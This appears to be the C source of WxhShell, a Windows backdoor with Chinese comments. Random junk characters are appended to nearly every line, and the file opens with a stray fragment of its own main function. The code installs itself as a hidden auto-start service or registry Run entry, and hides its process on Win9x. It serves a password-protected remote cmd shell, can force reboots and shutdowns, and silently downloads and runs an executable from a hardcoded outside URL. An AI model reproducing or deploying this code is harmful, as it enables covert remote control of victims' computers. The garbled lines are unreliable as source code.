} rkIMM,
|0]YA
if(!OsIsNt) { 1tyNRoET
// 如果时win9x，隐藏进程并且设置为注册表启动 $eMK{:$O
HideProc(); eI?HwP{m
StartWxhshell(lpCmdLine); K1-+A2snhV
} #G~wE*VR$
else C*Xik9n
if(StartFromService()) vX 1W@s
// 以服务方式启动 Ys%'#f
StartServiceCtrlDispatcher(DispatchTable); t%HI1eO7h
else z L8J`W
// 普通方式启动 h[y*CzG
StartWxhshell(lpCmdLine); e# <4/FR
)w3 ,
return 0; D}Au6
} QH:>jmC{1h
cqjl5UB
``6{T1fQS
4UVW#Rw{
=========================================== 1VGpq-4*j
5Kee2s?*
&t_A0z
,zoB0([
I}_;A<U
/} a_8iM\
" OQ,}/
W[fT R?n
#include <stdio.h> []=_<]{
#include <string.h> T;J7+0
#include <windows.h> $)f"K
#include <winsock2.h> i0b.AA
#include <winsvc.h> \#2 s4RCji
#include <urlmon.h> [\a:4vDAbi
cB<O.@
#pragma comment (lib, "Ws2_32.lib") |zh +
#pragma comment (lib, "urlmon.lib") |+u+)C
ot0U-G(
#define MAX_USER 100 // 最大客户端连接数 ovbEmb
#define BUF_SOCK 200 // sock buffer +\srZ<67
#define KEY_BUFF 255 // 输入 buffer 3jXR"@Z-
J ZA*{n2
#define REBOOT 0 // 重启 R qnWtE
#define SHUTDOWN 1 // 关机 @]E]W#xAn
W w^7^q&
#define DEF_PORT 5000 // 监听端口 aU4R+.M7@
brj[c>ID
#define REG_LEN 16 // 注册表键长度 aj?2jU~Pq
#define SVC_LEN 80 // NT服务名长度 8<Xq=*J+
}a'cm!"
// 从dll定义API .Jptj
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gU+ss
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1z3]PA!R
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \FVNXUMU
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B#QL M^
[z^Od
// wxhshell配置信息 )U]:9)
struct WSCFG { }iMXXXBOT
int ws_port; // 监听端口 vUqe.?5
char ws_passstr[REG_LEN]; // 口令 gt~9"I
int ws_autoins; // 安装标记, 1=yes 0=no #jOOsfH|k
char ws_regname[REG_LEN]; // 注册表键名 KM5jl9Vv
char ws_svcname[REG_LEN]; // 服务名 )dqR<)
char ws_svcdisp[SVC_LEN]; // 服务显示名 n%n'1AUP:
char ws_svcdesc[SVC_LEN]; // 服务描述信息 b-2pzcK{#
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gl.?U;4Z
int ws_downexe; // 下载执行标记, 1=yes 0=no ^)Smv\Md
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ijE<spG
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eU`;L[
$y8mK|3.3u
}; :-(U%`a[
cD5w| rm?i
// default Wxhshell configuration X{#bJ
struct WSCFG wscfg={DEF_PORT, DE'Xq6#PK
"xuhuanlingzhe", 15o9CaQw4"
1, +I*k0"gj6
"Wxhshell", L^6"'#
"Wxhshell", UVz=QEuYb
"WxhShell Service", VIb;96$Or
"Wrsky Windows CmdShell Service", 3(MoXA*
"Please Input Your Password: ", $I\))*a
1, &Q2NU$
"http://www.wrsky.com/wxhshell.exe", Rk}\)r\
"Wxhshell.exe" _c[|@D
}; T:be 9 5!,
dv}8YH["
// 消息定义模块 SRP5P,-y
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @mvIt
char *msg_ws_prompt="\n\r? for help\n\r#>"; >s;oOo+5
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jw2B&)k/
char *msg_ws_ext="\n\rExit."; Ga]47pQ"F
char *msg_ws_end="\n\rQuit."; @P*ylB}?Q
char *msg_ws_boot="\n\rReboot..."; Qk?jGXB>^
char *msg_ws_poff="\n\rShutdown..."; F(J\ctha
char *msg_ws_down="\n\rSave to "; h1n*WQ-
-FQC9~rR;g
char *msg_ws_err="\n\rErr!"; .UNF~}^H
char *msg_ws_ok="\n\rOK!"; KX0<j
C/SapX
char ExeFile[MAX_PATH]; j kSc&
int nUser = 0; ~C%2t{"
HANDLE handles[MAX_USER]; P]|J?$1K
int OsIsNt; or?0PEx\
_Ngx$
SERVICE_STATUS serviceStatus; aeEw#
SERVICE_STATUS_HANDLE hServiceStatusHandle; jVLY!7Z4
"2*G$\
// 函数声明 _{N0OX
int Install(void); ev~dsk6k
int Uninstall(void); pw0Px
int DownloadFile(char *sURL, SOCKET wsh); D2Vb{%(4.
int Boot(int flag); b7?U8/#'
void HideProc(void); l[tY,Y:4qO
int GetOsVer(void); C!oS=qK?]
int Wxhshell(SOCKET wsl); *54>iO- c
void TalkWithClient(void *cs); qFvg}}^y
int CmdShell(SOCKET sock); m-:8jA?
int StartFromService(void); LEYWH%y
int StartWxhshell(LPSTR lpCmdLine); `4q5CJ2
|pfhrwJp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^L>MZA ?
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0!9?H1>
;X?Ah
// 数据结构和表定义 CBiU#h q
SERVICE_TABLE_ENTRY DispatchTable[] = +")qi=
{ <_##YSGh,
{wscfg.ws_svcname, NTServiceMain}, FY1},sq
{NULL, NULL} Qv9*p('~A
}; 08TaFzP81
zvek2\*rO
// 自我安装 C><<0VhU
int Install(void) &/b?I `
{ >i^y;5
char svExeFile[MAX_PATH]; hQgk.$g
HKEY key; tc+GR?-7W
strcpy(svExeFile,ExeFile); .Q=2WCv0
6F|Hg2tpz
// 如果是win9x系统，修改注册表设为自启动 !Iw{Y'
if(!OsIsNt) { M/::`yJQu
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7\7Brw4
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ltCwns
RegCloseKey(key); SREDM
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YtwmlIar`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &+)+5z_d
RegCloseKey(key); /3CHE8nSh
return 0; v`[Tl
} N<#S3B?.
} jI*}y[o
} p56KS5duI.
else { )@8'k]Glw.
J8sJ~FnUj
// 如果是NT以上系统，安装为系统服务 KKeb ioW
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LY@1@O2@
if (schSCManager!=0) fP^W"y
{ #}[Sj-Vp
SC_HANDLE schService = CreateService x'E'jh%
( T[Z <bW~0
schSCManager, Z^/z
wscfg.ws_svcname, ZI2K-z'e
wscfg.ws_svcdisp, WrE-Zti
SERVICE_ALL_ACCESS, h/0<:eZ*
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mr5('9%
SERVICE_AUTO_START, jQ.>2-;H9
SERVICE_ERROR_NORMAL, "K}W^J9v
svExeFile, &.cGj@1!J
NULL, kbIY%\QSO
NULL, ~>}dse
NULL, yiv RpSL
NULL, 7 SjF9x
NULL }AMYU>YE=
); ZXssvjWQV}
if (schService!=0) 3X-{2R/ 3
{ k=h/i8i2z
CloseServiceHandle(schService); JqVBT+:
CloseServiceHandle(schSCManager); `'G),{ j
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q>SPV8s
strcat(svExeFile,wscfg.ws_svcname); d+YVyw.z
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~# hE&nq
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r 48;_4d)D
RegCloseKey(key); uJ|5Ve
return 0; V',m $
} F?RCaj
} V:,3OLL*
CloseServiceHandle(schSCManager); O)$N}V0
} |k7ts&2
} D*d 3w
T(sG.%
return 1; OVQxZ~uQ
} 3IU$
~$y#(YbH
// 自我卸载 @ 2%.>0s.
int Uninstall(void) eSvc/CU
{ Q?Bjq>
HKEY key; T_(e(5
%~B)~|h
if(!OsIsNt) { TeGLAt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d 40'3]/{
RegDeleteValue(key,wscfg.ws_regname); *FLTz(T
RegCloseKey(key); 1v[#::Bs
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9|G=KN)P:
RegDeleteValue(key,wscfg.ws_regname); ys.!S.k+
RegCloseKey(key); ?Qo_ KQ%sn
return 0; e%@[d<Ta\
} L!+[]tB
} Ow($\,
} t;e]L'z@:
else { J<5vs3[9
1CS]~1Yp:
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R^u^y{ohr
if (schSCManager!=0) !Lg}q!*%>V
{ 0\_R|i_`>
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <-oRhi4
if (schService!=0) fbx;-He!
{ 9%)& }KK|
if(DeleteService(schService)!=0) { @h7GTA \
CloseServiceHandle(schService); 7zP
CloseServiceHandle(schSCManager); ,rl <ye*&
return 0; w_z^5\u0
} S}xDB
CloseServiceHandle(schService); ~RR_[t2Z
} q2j}64o_S
CloseServiceHandle(schSCManager); h}B# 'e
} woH3?zR
} `bt)'ERO%#
7q{v9xKy
return 1; xz+`]Q
} uTlT'9)
-m x3^
// 从指定url下载文件 tgF(=a]o
int DownloadFile(char *sURL, SOCKET wsh) Kn9=a-b?,
{ `bi_)i6Low
HRESULT hr; 2S10j%EeI
char seps[]= "/"; ``YL] <<
char *token; ;|$]Qq
char *file; fdH'z:Xao
char myURL[MAX_PATH]; j n&9<"W
char myFILE[MAX_PATH]; ~PAbLSL*u
PA-0FlV|
strcpy(myURL,sURL); _~#C $-T
token=strtok(myURL,seps); 7Hkf7\JY
while(token!=NULL) Z FrXw+
{ \3Ald.EqtM
file=token; N n-6/]d#
token=strtok(NULL,seps); Ew,wNR`
} ) ImIPSL
O>):^$-K%
GetCurrentDirectory(MAX_PATH,myFILE); VflPNzixb!
strcat(myFILE, "\\"); 2mp>Mn~K^
strcat(myFILE, file); [N$_@[
send(wsh,myFILE,strlen(myFILE),0); .N><yQ-j3'
send(wsh,"...",3,0); ,HO/Q6;N
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;<)-*?m9
if(hr==S_OK) PH4bM
return 0; /t6u"I~
else +n~rM'^4/
return 1; ^d$e^cU
nhxd
} 3$G25=eN
]~ 8N
// 系统电源模块 y?4=u,{C
int Boot(int flag) L$?~TY
{ b6$A@b
HANDLE hToken; PaI63 !
TOKEN_PRIVILEGES tkp; exN#!&;
`TR9GWU+B
if(OsIsNt) { "ZB`fNE
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CpdY)SMSL
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9@>hm>g.
tkp.PrivilegeCount = 1; LzSusjEW@
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w3|.4hS
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \yizIo.Y`
if(flag==REBOOT) { Jj!tRZT
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {ZI6!zh'
return 0; =` >Nfa+,
} :H:}t>X6Vo
else { t4W0~7
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3'uES4+r
return 0; ;8Q?`=a
} U1tPw`0h
} /FZ )ej\
else { X"59`Yh
if(flag==REBOOT) { d"uM7PMs7x
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T<,tC"
return 0; (&x\,19U$
} FOyfk$
else { aVL%-Il}
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .5r0%
return 0; HpSfI7
} R.$Y1=U6
} /P}tgcs
9cPucKuj
return 1; %R"nm
} Z'M@DY/fdK
QZP;k!"w
// win9x进程隐藏模块 9:5NX3"p
void HideProc(void) =v"{EmT[$
{ }i~j"m
IUG.q8
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $l"(tB7d
if ( hKernel != NULL ) AMfu|%ZL
{ ?%n9g)>Yej
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0kEq|k9
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @&> +`kgU-
FreeLibrary(hKernel); ho<#i(
} (jMp`4P
]c+'SJQ
return; Kwau:_B
} ~qxc!k!w4
8\_,Y ji
// 获取操作系统版本 D]_\i[x
int GetOsVer(void) j KK48S
{ Y^f|}YO%y
OSVERSIONINFO winfo; `buTP?]4.
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >rGlj
GetVersionEx(&winfo); v:b%G?o
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0$ EJ4
return 1; 6P$q7G
else Yq.@7cJ
return 0; EaL+}/q&
} !%=k/|#
fTcRqov
// 客户端句柄模块 #SOe&W5
int Wxhshell(SOCKET wsl) '?4[w]0J<
{ Kep?=9r4+
SOCKET wsh; bZJiubBRI
struct sockaddr_in client; Su^Z{ Ud`
DWORD myID; @n3PCH6:Ao
z""(M4
while(nUser<MAX_USER) }zi6F.
{ W[DB!ue
int nSize=sizeof(client); {:cA'6f.b
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v4zARE9#
if(wsh==INVALID_SOCKET) return 1; >n62csO
Z m>69gl
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N*;/~bt7P
if(handles[nUser]==0) #{a<{HX
closesocket(wsh); +ZO*~.zZ
else v%w]Q B
nUser++; U/X ^
} p-_j0zv
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fC[gu$f][
vJs/ett
return 0; LgYzGlJp
} Ig2VJs;
w.jATMJ)F
// 关闭 socket L K$hV"SYb
void CloseIt(SOCKET wsh) %|~UNP$
{ Kk#@8h>
closesocket(wsh); &-9D.'WzP
nUser--; bBf+z7iyc
ExitThread(0); 1zffPC8jl
} *9PQJeyR
PsVA>Q,4!.
// 客户端请求句柄 6 9Cxh
void TalkWithClient(void *cs) Phczf
{ \$I )}
t+VPX2
SOCKET wsh=(SOCKET)cs; hV%l}6yS&
char pwd[SVC_LEN]; 6r`g+Js/
char cmd[KEY_BUFF]; U7N<!6
char chr[1]; spf}{o
int i,j; >X]<s^
-MZ Eli g
while (nUser < MAX_USER) { &N#)(rQ1
Lv"83$^S9
if(wscfg.ws_passstr) { |cacMgly
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K|&y?w
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VmW_,
//ZeroMemory(pwd,KEY_BUFF); VQCPgs
i=0; Co M8
while(i<SVC_LEN) { [O3R(`<e5
J';tpr
// 设置超时 sr\MQ?\fB
fd_set FdRead; Q'N<jX[
struct timeval TimeOut; wsARH>Vz
FD_ZERO(&FdRead); ]PFc8qv{
FD_SET(wsh,&FdRead); LTF%bAQ,
TimeOut.tv_sec=8; _VJb i,V
TimeOut.tv_usec=0; _ n>0!
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =F`h2A;a
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CNwhH)*
r&qD!l5y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >TE&myZ?*
pwd=chr[0]; Gp14;
if(chr[0]==0xd || chr[0]==0xa) { ZE9*i}r
pwd=0; 7J_H Ox#
break; myYe~f4=HQ
} Djzb#M'm
i++; Yv{AoL~
} BdceINI
UY==1\
// 如果是非法用户，关闭 socket q/[)mr|~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b~|B(lL6Xm
} +5Mx0s(5
BH}u\K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \+,jM6l}-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 33; ytd
[~J4:yDd=
while(1) { d+bTRnL
wiutUb Y
ZeroMemory(cmd,KEY_BUFF); @a~K#Bvlm
(YR1ML3N
// 自动支持客户端 telnet标准 .8,lhcpY
j=0; 1*a2s2G '
while(j<KEY_BUFF) { Y-Z.AA,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8mV35A7l
cmd[j]=chr[0]; $FAl9
if(chr[0]==0xa || chr[0]==0xd) { JsH9IK:
cmd[j]=0; IE|$>q0Z
break; }NUP[%
} rR7}SEa
j++; !6kLg1
} j3FDGDrg
m\Dbb.vBvW
// 下载文件 4Fnr8 r8W
if(strstr(cmd,"http://")) { ?(mlt"tPk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); UE(%R1Py
if(DownloadFile(cmd,wsh)) nJ6bC^*)U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|8p #
else {6n B83BB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s Ce{V*ua
} x1TB (^aX
else { _G`kj{J
kQYX[e7n
switch(cmd[0]) { E")82I
+4)Kc9S#
// 帮助 L"AZ,|wIk
case '?': { l2$6ojpo
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :sJVklK
break; Ix}:!L
} A_CK,S*\,&
// 安装 C EAwQH
case 'i': { O[$&]>x]]
if(Install()) <zrGPwk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@"H3 gz
else :dB6/@fW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d':c
break; @'dtlY5;
} ,zO!`|I
// 卸载 u>d,6 !
case 'r': { _},u[+
if(Uninstall()) NKh8'=S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /JJU-A(
else .%.J Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cR_85
break; Eufw1vDa
} Eqnc("m)
// 显示 wxhshell 所在路径 p"3_u;cN
case 'p': { BlMc<k
char svExeFile[MAX_PATH]; QF Vy2 q
strcpy(svExeFile,"\n\r"); 6_rS!X
strcat(svExeFile,ExeFile); &E0P`F,GQA
send(wsh,svExeFile,strlen(svExeFile),0); qE!.C}L+
break; +O2T%
} Ar,B7-F!
// 重启 .gzNdSE
case 'b': { :OQx;>'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #[ipJ %
if(Boot(REBOOT)) c/%i,N\5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Eu.Y
else { bC&*U|de
closesocket(wsh); ?%(:
ExitThread(0); #+>8gq^5
} ~QQi{92
break; G&y< lh
} /-4rcC
// 关机 Db3#;
case 'd': { "Y-_83
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HN?NY
if(Boot(SHUTDOWN)) YEqZ((H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N>f#:}
else { nJC/yS|
closesocket(wsh); mW-4
ExitThread(0); bVO{,P2o
} pbJC A&
break; `\Z7It?aDs
} RzgA;ZC'
// 获取shell rY yB"|
case 's': { wA$ JDf)Vg
CmdShell(wsh); vVBu/)
closesocket(wsh); 1<766
ExitThread(0); 6N+]g/_a
break; ~?E.U,R
} +J[<zxh\
// 退出 ^V,?n@c!
case 'x': { Ww\M3Q`h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t`%Xxxu
CloseIt(wsh); IqD;*
break; zp.-=)D4e
} +xYU$e6Z
// 离开 C^QpVt-T
case 'q': { meJ%mY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FglW|Hwy
closesocket(wsh); Qze.1h
WSACleanup(); [P_@-:(O
exit(1); L"[2[p
break; Fw.df<
} r8%"#<]/
} {mOQRAKl
} :}0>IPW-V
m-u3^\'
// 提示信息 o|`%>&jP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b';oFUU>Q
} "@ 1+l&
} JiN>sEAM
4J5 RtK
return; ag02=}Q'r
} RwyX,|
GUDz>(
// shell模块句柄 U,Q
int CmdShell(SOCKET sock) i(O+XQ}Fyx
{ , ;$SRQ.
STARTUPINFO si; m:-=K
ZeroMemory(&si,sizeof(si)); v{r,Wy3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5.M82rR;~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8.WZC1N
PROCESS_INFORMATION ProcessInfo; P!xN]or]u
char cmdline[]="cmd"; ZVIlVuZ}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eXA@J[-M:
return 0; P1G;JK
} GtLnh~)
|\BxKwS^
// 自身启动模式 {ovW6#
int StartFromService(void) 89Ch'D
{ qxbGUyH==
typedef struct +bdjZD3
{ 6^vz+oN
DWORD ExitStatus; 8[rZRc
DWORD PebBaseAddress; 01w}8a(
DWORD AffinityMask; B%(-UTQf
DWORD BasePriority; lvp8{]I<
ULONG UniqueProcessId; eKvQS}11
ULONG InheritedFromUniqueProcessId; }rA _4%
} PROCESS_BASIC_INFORMATION; }cO}H2m
\AY*x=PF
PROCNTQSIP NtQueryInformationProcess; (|dN6M-.K
(@i2a
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y]neTX [ef
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @)x8<
7N8a48$8
HANDLE hProcess; >A.m`w
PROCESS_BASIC_INFORMATION pbi; yL#2|t(
<IwfiI3y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zlhI\jRdc
if(NULL == hInst ) return 0; "JpnmE[`
oi\e[qE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3:MAdh[w
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ><w=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s)5W:`MH?
QLDld[
if (!NtQueryInformationProcess) return 0; R4AKp1Y
ZIp"X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;@s'JSPt
if(!hProcess) return 0; 8/T,.<5
JAU:Wqlg1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZUK'z
;t5e]
CloseHandle(hProcess); `kM:5f+>W
cIOM}/gqv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dU.H9\p
if(hProcess==NULL) return 0; dS)c~:&+
@f%q ,:
HMODULE hMod; ";*Iwd*V
char procName[255]; hWAZP=H
unsigned long cbNeeded; TKrh3
+^<-;/FZue
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KiYz]IM$4
eGk`Z>
CloseHandle(hProcess); U( (F<
:M9 E
if(strstr(procName,"services")) return 1; // 以服务启动 MB!$s_~o#L
{N`<THPP
return 0; // 注册表启动 ~]C m
} sHf.xc
.!yw@kg
// 主模块 ]`u_d}`
int StartWxhshell(LPSTR lpCmdLine) Y4,LXuQ
{ 99u9L)
SOCKET wsl; xyPz_9
BOOL val=TRUE; E;Q ,{{#
int port=0; ctT6va
struct sockaddr_in door; +X4/l"|
+/Qgl
if(wscfg.ws_autoins) Install(); Jwe9L^gL
Oq4J$/%
port=atoi(lpCmdLine); V^E.9fs,
THf*<|
if(port<=0) port=wscfg.ws_port; 6U[bAp
k/mO(i%qi
WSADATA data; h+d3JM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (^;Fyf/
%eQw\o,a
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g!.k>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ).uR@j
door.sin_family = AF_INET; *Rj(~Q/t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~|.vz!A
door.sin_port = htons(port); 7^*[XH
jw$[b=sa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a534@U4,
closesocket(wsl); J={R@}u
return 1; .7v .DR>
} HL34pmc
cgF?[Z+x
if(listen(wsl,2) == INVALID_SOCKET) { (OT&:WwW
closesocket(wsl); t-3y`31i.
return 1; 7-`iI(N<
} 8nQjD<-
Wxhshell(wsl); 4Y:[YlfD.
WSACleanup(); `D9AtN] R
|A%Jx__
return 0; x9s1AzM{
UqEpeLK
} Ed+"F{!eQ
xIb^x=|h
// 以NT服务方式启动 NvU~?WN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Zn-P
{ "l.1 UB&
DWORD status = 0; LH]<+Zren
DWORD specificError = 0xfffffff; :UDT! 5FNO
[mJmT->
serviceStatus.dwServiceType = SERVICE_WIN32; Mpu8/i gX,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; I|oS`iLl$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LCf)b>C*
serviceStatus.dwWin32ExitCode = 0; %?WR9}KU0
serviceStatus.dwServiceSpecificExitCode = 0; $bd2TVNV:
serviceStatus.dwCheckPoint = 0; `R+I(Cb
serviceStatus.dwWaitHint = 0; qTD^Vz V
daakawn+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2qkZ B0[
if (hServiceStatusHandle==0) return; bJ#]Xm(]D
Q>[Xm)jr:
status = GetLastError(); 4<{]_S6"0y
if (status!=NO_ERROR) l6O8:XI
{ Obb"#W@3
serviceStatus.dwCurrentState = SERVICE_STOPPED; rjLPX
serviceStatus.dwCheckPoint = 0; 1QPS=;|)
serviceStatus.dwWaitHint = 0; 4UV<Q*B\F
serviceStatus.dwWin32ExitCode = status; XwNJHOaF
serviceStatus.dwServiceSpecificExitCode = specificError; ^^C@W?.z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jQIb :\0#
return; g!*5@k|C
} yv2N5IQ>{V
HX&G k
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z2cumx(
serviceStatus.dwCheckPoint = 0; q}'ww
serviceStatus.dwWaitHint = 0; o<Z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8\H*Z2yF+
} ^}PG*h|
zA g.,dA
// 处理NT服务事件，比如：启动、停止 k~,({T<
VOID WINAPI NTServiceHandler(DWORD fdwControl) xS>d$)rIj
{ t5"g9`AL
switch(fdwControl) *`g'*R
{ C ks;f6G
case SERVICE_CONTROL_STOP: do$+ Eh
serviceStatus.dwWin32ExitCode = 0; 1;8%\r[|5^
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5zf bI
serviceStatus.dwCheckPoint = 0; 6J""gyK.
serviceStatus.dwWaitHint = 0; <jwQ&fm)/R
{ q<Sb>M/\,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ah9P C7[
} CNkI9>L=W`
return; 2^;zj0]Rt
case SERVICE_CONTROL_PAUSE: BD.>aAi!
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3<%ci&B
break; Wq}Y|0c
case SERVICE_CONTROL_CONTINUE: E'ay @YAp
serviceStatus.dwCurrentState = SERVICE_RUNNING; SE7mn6,%\
break; nd4Z5=X
case SERVICE_CONTROL_INTERROGATE: +$;*"o
break; :H(wW
}; {IgLH`@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;b6h/*;'
} z9qF<m
BV-(`#~:y
// 标准应用程序主函数 N}\%r&KR=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -2/&i
{ x=VLTH/oo
nd#owjB
// 获取操作系统版本 F+Dke>j
OsIsNt=GetOsVer(); =v:}{~M^$
GetModuleFileName(NULL,ExeFile,MAX_PATH); .:I^O[k
j' }4ZwEh
// 从命令行安装 _X]\#^UiO2
if(strpbrk(lpCmdLine,"iI")) Install(); =!N,{V_
b'1m 9T780
// 下载执行文件 9@^N* E+
if(wscfg.ws_downexe) { Tf{lH9ca$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VYw<8AEFY
WinExec(wscfg.ws_filenam,SW_HIDE); m8Y>4:Nw
} 9cXL4
"%rzL.</
if(!OsIsNt) { 'TO/i:{\
// 如果时win9x，隐藏进程并且设置为注册表启动 lKBI3oYn
HideProc(); E@J}(76VS
StartWxhshell(lpCmdLine); 9 K~X+N\
} .$U=ngj\t
else OD6dMql
if(StartFromService()) u$rSM0CJ
// 以服务方式启动 oEJxey]B7
StartServiceCtrlDispatcher(DispatchTable); 1deK}5'
